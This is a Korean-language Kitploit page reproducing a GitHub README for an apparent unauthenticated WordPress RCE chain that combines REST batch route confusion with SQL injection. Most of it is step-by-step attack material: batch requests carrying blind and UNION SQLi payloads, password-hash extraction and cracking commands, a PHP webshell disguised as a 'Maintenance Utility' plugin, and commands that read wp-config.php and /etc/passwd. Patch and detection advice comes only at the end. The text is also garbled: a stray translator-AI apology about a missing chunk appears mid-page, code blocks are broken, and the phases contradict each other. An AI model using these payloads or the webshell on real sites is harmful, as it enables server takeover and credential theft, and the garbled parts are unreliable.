Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-60137_CVE-2026-63030 — # WordPress 인증되지 않은 RCE 익스플로잇: 라우트 혼동 및 SQL 인젝션 결합 라우트 혼동과 SQL 인젝션을 결합한 WordPress 인증되지 않은 RCE 익스플로잇. 자동화 스크립트, 실습 환경 구성, 상세 취약점 분석이 제공됩니다. | Kitploit
도구/GitHubGitHub/dungsocool/cve-2026-60137_cve-2026-63030
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdungsocool/cve-2026-60137_cve-2026-63030

CVE-2026-60137_CVE-2026-63030

# WordPress 인증되지 않은 RCE 익스플로잇: 라우트 혼동 및 SQL 인젝션 결합 라우트 혼동과 SQL 인젝션을 결합한 WordPress 인증되지 않은 RCE 익스플로잇. 자동화 스크립트, 실습 환경 구성, 상세 취약점 분석이 제공됩니다.

저장소 보기
21개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-60137 + CVE-2026-63030 — WordPress 인증되지 않은 RCE

취약점: REST 배치 라우트 혼동 + WP_Query SQL 인젝션 → 완전한 RCE

CVSS v3.1: 10.0 / 10.0 — 치명적 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

영향받는 버전: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | 패치된 버전: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

root@kitploit:~
---

## 빠른 시작

### 1. 취약한 실습 환경 구축

**요구 사항:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. 익스플로잇 실행```bash

pip install requests

Full auto chain — interactive shell

python3 exploit.py http://localhost:8080

Or run a single command

python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

Check-only mode (no exploitation)

python3 exploit.py http://localhost:8080 --check-only

root@kitploit:~
### 3. 예상 출력```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _
image
image

이 저장소의 파일

파일설명
README.md전체 취약점 분석 및 익스플로잇 보고서
exploit.py자동화된 익스플로잇 스크립트 (무접근(zero-access) → RCE 단일 명령)
docker-compose.yml취약한 WordPress 실습 환경
chain-rce.md자동화된 RCE 체인 문서
images/수동 익스플로잇 과정의 스크린샷

상세 취약점 분석

CVE-2026-60137 (CVE-2026-63030와 연계)

취약점: 인증되지 않은 원격 코드 실행 — REST Batch 라우트 혼동 + WP_Query SQL 인젝션

CVSS v3.1: 10.0 / 10.0 — 치명적(Critical)

Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


1. 개요

CVE-2026-60137은 WordPress 코어에서 발견된 인증되지 않은 RCE 취약점입니다. 이 취약점은 두 개의 독립적인 버그를 결합하여 무접근(zero-access) 상태에서 서버 전체 장악까지 이어지는 완전한 익스플로잇 체인을 구성합니다:

CVE버그체인에서의 역할
CVE-2026-63030REST Batch 라우트 혼동인증 우회
CVE-2026-60137author__not_in SQL 인젝션임의 데이터베이스 읽기/쓰기

영향을 받는 버전:

  • 전체 RCE: WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
  • SQLi만 해당(지원 플러그인 필요): 6.8.0 – 6.8.5
  • 패치됨: 6.9.5, 7.0.2, 7.1-beta2+

익스플로잇 조건:

  • REST API가 공개되어 있음 (WordPress 기본값)
  • 영구 객체 캐시 없음 (기본값은 없음)
  • 게시된 글 최소 1개 (기본 "Hello World"가 존재)
  • 계정이나 세션이 전혀 필요 없음

→ 대부분의 WordPress 설치 환경은 기본적으로 취약합니다.

2. 용어

REST Batch 엔드포인트 (/wp-json/batch/v1)

단일 HTTP 요청 내에서 여러 REST API 요청을 보낼 수 있습니다:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }

root@kitploit:~
각 하위 요청은 자체 핸들러와 연결되며, 각 핸들러에는 자체 **권한 콜백**이 있습니다.

### WP_Query — `author__not_in`

핵심 데이터베이스 쿼리 클래스입니다. `author__not_in` 매개변수는 정수 배열을 허용하여 다음 SQL 절을 생성합니다:```sql
AND post_author NOT IN (5, 12, 23)

각 요소는 absint()를 통과하여 정수 부분만 유지합니다.

wp_parse_url()

parse_url()의 래퍼입니다. 유효하지 않은 URL을 수신하면 WP_Error를 반환합니다.```php wp_parse_url("https://example.com/path") // → OK wp_parse_url("///") // → WP_Error

root@kitploit:~
## 3. 근본 원인 — 버그 A: 배치 라우트 혼동 (CVE-2026-63030)

**파일:** `wp-includes/rest-api/class-wp-rest-server.php`

### 취약한 소스 코드:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

메커니즘:```

Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication

root@kitploit:~
### 왜 `"///"`가 버그를 유발하나요?

PHP `parse_url()`이 `"///"`를 만나면 **RFC 3986** — URL 구조에 따라 파싱을 시도합니다:```
scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

"///"를 수신하면 다음과 같이 해석합니다:``` // → authority begins (double slash = has host) / → empty authority, path begins immediately → host = "" (empty) → path = "" (empty) → scheme = none

root@kitploit:~
PHP 반환 결과:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

WordPress는 이를 wp_parse_url()로 감싸서 → 유효한 스킴, 유효한 호스트, 의미 있는 경로가 없음을 감지하고 → WP_Error를 반환합니다.

wp_parse_url("///")는 WP_Error를 반환합니다(URL 형식이 잘못됨). 이 오류로 인해 $matches를 구성하는 루프에서는 요청이 건너뛰어지지만, 디스패치 루프에서는 건너뛰어지지 않아 → 배열이 동기화되지 않습니다.

4. 근본 원인 — 버그 B: SQL 삽입 (CVE-2026-60137)

파일: wp-includes/class-wp-query.php

취약한 소스 코드:```php

class WP_Query { public function get_posts() { global $wpdb;

root@kitploit:~
    if ( ! empty( $q['author__not_in'] ) ) {
        $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
        $where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
        //                                                   ↑ INJECTION POINT
    }
}

}

root@kitploit:~
### 일반 (안전한) 경로:```
User input → REST Controller → array cast + absint() → WP_Query → SQL
             ↑ sanitization occurs here

REST 컨트롤러 (class-wp-rest-posts-controller.php):```php $args['author__not_in'] = array_map('absint', (array)$request['author_exclude']); // "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0] // → SAFE

root@kitploit:~
### 라우트 혼동이 있는 경로 (취약):```
User input → Route Confusion bypass → WP_Query directly → SQL
             ↑ REST controller is SKIPPED

배치 비동기화가 발생하면 요청 매개변수는 REST 컨트롤러를 통과하지 않습니다 → 원시 문자열이 WP_Query로 바로 전달됩니다 → wp_parse_id_list()에 엣지 케이스 우회가 존재합니다 → SQL 인젝션.

페이로드:```

author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"

root@kitploit:~
생성된 SQL:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
                            ↑ INJECTED                                           ↑ commented out

5. 왜 두 버그를 연쇄 사용하는가?

시나리오결과
Bug A 단독 (Route Confusion)권한 우회 → 하지만 주입할 대상 없음
Bug B 단독 (SQLi)REST 컨트롤러가 항상 입력을 형변환함 → 주입 불가
Bug A + Bug B혼동이 컨트롤러를 우회 → 원시 문자열이 SQL로 전달됨 → RCE

개별적으로는 이 두 버그는 무해합니다. 오직 연쇄되었을 때만:

  • Bug A: 정화 계층(REST 컨트롤러)을 제거
  • Bug B: 정화가 우회되었기 때문에 SQL을 주입

6. 공격 체인 분석

1단계: Route Confusion```

POST /wp-json/batch/v1 Content-Type: application/json

{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }

root@kitploit:~
→ Response[0]: `parse_path_failed` (프라이머 트리거됨)

→ Response[1]: `rest_invalid_handler` (핸들러 디싱크 확인됨)

### **2단계: SQL 인젝션 — 데이터 추출**

**블라인드 부울 :**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -

Compare TRUE vs FALSE 응답 → 각 문자를 이진 탐색합니다.

UNION In-Band :``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -

root@kitploit:~
Fake post row containing credentials returned in the JSON response.

→ 결과: `wp_users`에서 `user_login` 및 `user_pass`(bcrypt 해시)를 성공적으로 추출했습니다.

### **Phase 3: 해시 크랙 → 관리자 로그인**

2단계에서 얻은 해시는 bcrypt 형식(`$wp$2y$10$...`)입니다. `$wp$` 접두사를 제거한 후 john/hashcat + 단어 목록으로 크랙 → 평문 비밀번호 획득 → `/wp-login.php`에서 로그인합니다.

**참고:** 인젝션 지점은 `SELECT`의 `WHERE` 절 내부에 있습니다. MySQL은 다중 문(multi-statement)을 비활성화하므로 → UNION은 읽기 전용(READ-only)이며 쓰기(WRITE)가 불가능합니다 → SQLi를 통해 새 관리자를 직접 INSERT할 수 없습니다. 유효한 세션을 얻으려면 해시를 크랙해야 합니다.

### Phase 4: 웹셸 업로드```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin

5단계: RCE```

GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)

root@kitploit:~
## **7. 익스플로잇**

CVE-2026-60137을 익스플로잇하면 **제로 액세스**(계정 없음, 비밀번호 없음, 세션 없음) 상태에서 HTTP 요청만으로 **전체 서버 제어**에 이르게 됩니다.

**요구 사항:** 대상이 WordPress 6.9.0–6.9.4 또는 7.0.0–7.0.1을 실행 중이고 REST API가 공개되어 있어야 합니다(기본적으로 활성화됨). 로그인하거나 자격 증명을 알 필요가 없습니다.

**익스플로잇 체인은 5단계로 구성됩니다:**```
Phase 1: Route Confusion      → Bypass authentication
Phase 2: SQL Injection        → Read database (username, password hash)
Phase 3: Crack-Free Admin     → Create new admin without cracking password
Phase 4: Webshell Upload      → Install backdoor via plugin upload
Phase 5: RCE                  → Execute arbitrary commands on the server

7.1 1단계: 라우트 혼동 확인

목표: 대상이 취약한지 확인 — 프라이머 경로 "///"를 보내면 핸들러 배열이 어긋납니다.

원리: 배치 엔드포인트는 1회의 HTTP 호출에서 여러 REST 요청을 보낼 수 있게 합니다. wp_parse_url("///")가 실패하면 WordPress는 $matches 배열을 구성할 때 해당 요청을 건너뛰지만 디스패치 중에는 건너뛰지 않습니다 → 핸들러가 어긋납니다 → 후속 요청이 잘못된 권한 콜백으로 실행됩니다 → 인증 우회.

요청 보내기:``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}

root@kitploit:~
I apologize, but I received an empty input — the actual Markdown content for chunk 51 of 96 was not included in your message. Please provide the chunk text so I can translate it from English to Korean following all the specified rules.```
{
  "responses": [
    {"body": {"code": "parse_path_failed"}, "status": 400},
    {"body": {"code": "rest_invalid_handler"}, "status": 500}
  ]
}

읽는 방법:

images/image.png

응답코드의미
[0]parse_path_failed프라이머 작동 — wp_parse_url("///") 실패
[1]rest_invalid_handlerDESYNC! 요청이 잘못된 핸들러에 수신됨 → 인증 우회

rest_invalid_handler가 의미하는 바를 우리는 관찰합니다: "WordPress는 핸들러가 요청과 일치하지 않음을 인지한다"

→ 즉, $matches 배열은 이미 비동기화(DESYNC)되어 있으며, 프라이머 "///"가 작동했고, 이 비동기화를 악용하여 요청이 인증을 요구하지 않는 다른 경로(route)의 권한 콜백으로 실행되게 할 수 있습니다. → 인증 우회 가능

rest_invalid_handler가 보이면 → 버그 A 확인.

7.2 2단계: SQL 인젝션 확인

1단계 — TRUE vs FALSE

TRUE (OR 1=1):

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
**FALSE (AND 1=2):**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/95c08d2e43f06122b224fab9d17c713097a2f740f972da5b9d6d68e10ca4effa.png)```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

X-WP-Total의 차이 → SQLi 확인됨.

2단계 — 관리자 사용자 이름 추출(Blind Boolean)

첫 번째 문자:

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
`CHAR(97)` = `'a'`. X-WP-Total=8 (TRUE) → 따라서 첫 번째 문자는 `'a'`입니다.

순차적으로 열거하면 `user_login` = **"admin"** 을 얻습니다.

#### **Step 3 — 비밀번호 해시 추출**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

images/image.png

images/image.png

이진 검색(Binary Search)을 사용하여 user_pass의 각 문자에 대한 ASCII 코드를 확인하십시오:``` Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE) Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)

root@kitploit:~
두 개의 상반된 응답을 통해 첫 번째 문자의 ASCII가 **(30, 40]** 범위 내에 속함을 확인합니다. 계속해서 범위를 좁혀 나갑니다:```
> 35  →  TRUE
> 36  →  FALSE
→ ASCII = 36 = '$'

각 위치에 대해 이진 탐색을 계속 수행 → 해시 접두사 문자열 $wp$를 얻습니다:

계속해서 BLIND SQL을 사용하여 문자 하나씩 알아냅니다:

위치ASCII문자참고
136$해시 접두사
2119w
3112p
436$→ $wp$ = bcrypt 변형
5-20...2y$10$aJgATdlhfI비용 계수 + 솔트

→ 전체 해시: $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

7.3 3단계: 관리자 로그인

2단계 이후에는 다음 정보가 있습니다:

  • user_login = admin
  • user_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

해시 크랙

WordPress 해시는 bcrypt 형식($2y$10$)을 사용하며, 비용 계수는 10입니다. 크랙하기 전에 $wp$ 접두사를 제거해야 합니다. hashcat/john은 순수한 bcrypt만 허용하기 때문입니다:```

Save the pure bcrypt part (remove $wp$ prefix)

echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt

Crack using john

john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt

root@kitploit:~
**결과:**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/29e2f2018d63e7bdb2c8a633cb151d0aeab28801b47c7ec270be116ec2030f89.png)

비밀번호 **`admin123`**은 워드리스트에 있으므로 → john이 즉시 성공적으로 크랙한다.

→ `/wp-login.php`에서 `admin:admin123`으로 성공적으로 로그인했다.

### **7.4 4단계: 웹셸 업로드**

이 시점에서 우리는 유효한 관리자 세션을 보유하고 있다. 다음 목표는 자격 증명과 무관하게 접근을 유지하기 위해 서버에 **백도어를 심는 것**이다.

WordPress는 관리자가 ZIP 형식의 플러그인을 업로드하는 것을 허용한다 — 이는 합법적인 기능이며, 우리는 이를 악용할 것이다.

#### **웹셸 생성**

먼저 시스템 명령을 실행하는 PHP 파일이 필요하다. 이 파일은 WordPress가 수락할 수 있도록 가짜 플러그인으로 패키징된다:```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
    header('Content-Type: text/plain');
    echo shell_exec($_GET['cmd'] . ' 2>&1');
    exit;
}

secret123 토큰은 비밀번호 역할을 하여 다른 사람이 실수로 셸을 트리거하는 것을 방지합니다.```bash mkdir shell && mv shell.php shell/ zip -r shell.zip shell/

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/bf2671815ada8d413fdb42cdd06b8b42c7a549846557a6e3ff541147010bf104.png)

성공적으로 생성되었습니다.

#### **WordPress에 업로드**

`shell.zip`을 성공적으로 생성한 후, 해당 zip 파일을 플러그인 섹션에 업로드하여 트리거합니다.

WordPress는 파일을 추출하여 다음 위치에 배치합니다:```
/var/www/html/wp-content/plugins/shell/shell.php

플러그인이 **"Maintenance Utility"**라는 이름으로 목록에 나타나며 상태는 Active입니다 → 이제 웹셸이 HTTP를 통해 트리거될 준비가 되었습니다.

images/image.png

UPLOAD 및 ACTIVE가 성공했습니다.

7.5 5단계: RCE

따라서 셸이 서버에 있습니다. 호출하여 셸을 실행합니다.

RCE 확인:``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/eb3f921660da2c214487a9ccb062f173bee25b881e7ff7c95be685fbb061bf2a.png)```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data 사용자로 실행 중 — 웹 서버의 사용자입니다. 다음으로 영향 범위를 확대합니다:

WordPress 구성 파일 읽기:```

GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/3db8d0921065eb40ee3e8d305fbc365c924f7d8950921b034d521037c676a9bf.png)

 — 웹쉘을 통해 `wp-config.php` 파일을 읽는 명령을 실행하여 모든 WordPress 비밀 키(`AUTH_KEY`, `SECURE_AUTH_KEY`, `LOGGED_IN_KEY`, `NONCE_KEY`,...)와 데이터베이스 자격 증명을 노출합니다. 이는 WordPress 설치에서 가장 민감한 정보입니다.

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/ea90ae9a1698312588a1dd97c804f1612a8bb09889eb12aafcb3ed1e68295826.png)

*—* 응답은 `wp-config.php`의 내용을 반환하며, 여기에는 `DB_NAME`, `DB_USER`, `DB_PASSWORD`, `DB_HOST`가 포함됩니다 — WordPress를 거치지 않고 데이터베이스 서버에 직접 접근할 수 있을 만큼 충분합니다.

#### **모든 시스템 사용자 읽기:**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

images/image.png

→ OS 수준 액세스를 확인하며, 더 이상 WordPress 범위로 제한되지 않습니다.

이 시점에서 익스플로잇 체인이 완료됩니다:``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data

root@kitploit:~
### **7.6 요약**

| **#** | **단계** | **메서드** | **경로** |
| --- | --- | --- | --- |
| 1 | SQLi TRUE | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi FALSE | POST | `/?rest_route=/batch/v1` |
| 3 | 사용자 이름 추출 | POST | `/?rest_route=/batch/v1` |
| 4 | 해시 추출 | POST | `/?rest_route=/batch/v1` |
| 5 | 관리자 로그인 | POST | `/wp-login.php` |
| 6 | nonce 가져오기 | GET | `/wp-admin/plugin-install.php` |
| 7 | 셸 업로드 | POST | `/wp-admin/update.php` |
| 8 | 활성화 | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |

**요청 9개. 초기 자격 증명 없음. 로그인 페이지에서 → 완전한 서버 제어까지.**

## 8. CVSS 세부 분석

| 메트릭 | 값 | 이유 |
| --- | --- | --- |
| 공격 경로 | 네트워크 | HTTP를 통한 원격 |
| 공격 복잡도 | 낮음 | 결정적이며 타이밍/레이스 조건 불필요 |
| 필요한 권한 | 없음 | 완전히 인증되지 않음 |
| 사용자 상호 작용 | 없음 | 피해자 조치 불필요 |
| 범위 | 변경됨 | WP → OS 수준 (www-data) |
| 기밀성 | 높음 | 전체 DB 읽기 |
| 무결성 | 높음 | 임의 DB 쓰기, 파일 업로드 |
| 가용성 | 높음 | DROP 테이블, 랜섬웨어 |

## 9. 영향

### 기술적

| 계층 | 영향 |
| --- | --- |
| 데이터베이스 | 모든 항목에 대한 읽기/쓰기 액세스: wp_users, wp_options, wp_posts |
| 애플리케이션 | 관리자 생성, 콘텐츠 수정, 백도어 설치 |
| 서버 | www-data 권한의 RCE, wp-config.php, /etc/passwd 읽기 |
| 네트워크 | DB 자격 증명을 통한 내부 서비스로의 피벗 |

### 비즈니스

| 시나리오 | 결과 |
| --- | --- |
| 전자상거래 | PII 유출, 결제 키 탈취, 스키머 주입 |
| 기업 | 웹사이트 변조, SEO 스팸, 악성코드 유포 |
| 멀티사이트 | 1회 익스플로잇 → 전체 네트워크 손상 |
| SaaS (WP 마케팅) | 환경 변수 추출 → 프로덕션으로 피벗 |

### 위험에 노출된 데이터

- `wp_users`: 사용자 이름, 이메일, 비밀번호 해시
- `wp_usermeta`: PII(이름, 전화번호, 주소), session_tokens
- `wp_options`: DB 자격 증명, SMTP 자격 증명, 결제 API 키, WordPress salts
- `wp-config.php`: 데이터베이스 호스트/사용자/비밀번호, 비밀 키
- `/proc/self/environ`: 환경 변수

## 10. 방어 및 대응

### 10.1 패치 (철저)

| 현재 버전 | 업그레이드 대상 |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |

### 10.2 코드 수정

**버그 A — 라우트 혼동:**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;

// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;

Bug B — SQL Injection:```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));

// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);

root@kitploit:~
### 10.3 임시 완화 조치

**1. 배치 엔드포인트 비활성화(가장 효과적):**```php
add_filter('rest_endpoints', function($endpoints) {
    unset($endpoints['/batch/v1']);
    return $endpoints;
});

2. Redis/Memcached 활성화:```bash wp plugin install redis-cache --activate wp redis enable

root@kitploit:~
→ UNION injection does not reflect (cache returns stale data).  

**3. WAF 규칙:**```nginx
location /wp-json/batch/ {
    if ($request_body ~* '"path"\s*:\s*"///') {
        return 403;
    }
}

10.4 탐지

로그 패턴:``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access

root@kitploit:~
**IOC 확인:**```bash
wp user list --role=administrator          # unfamiliar admin?
ls wp-content/mu-plugins/                  # backdoor?
wp core verify-checksums                   # core modified?
도구 다운로드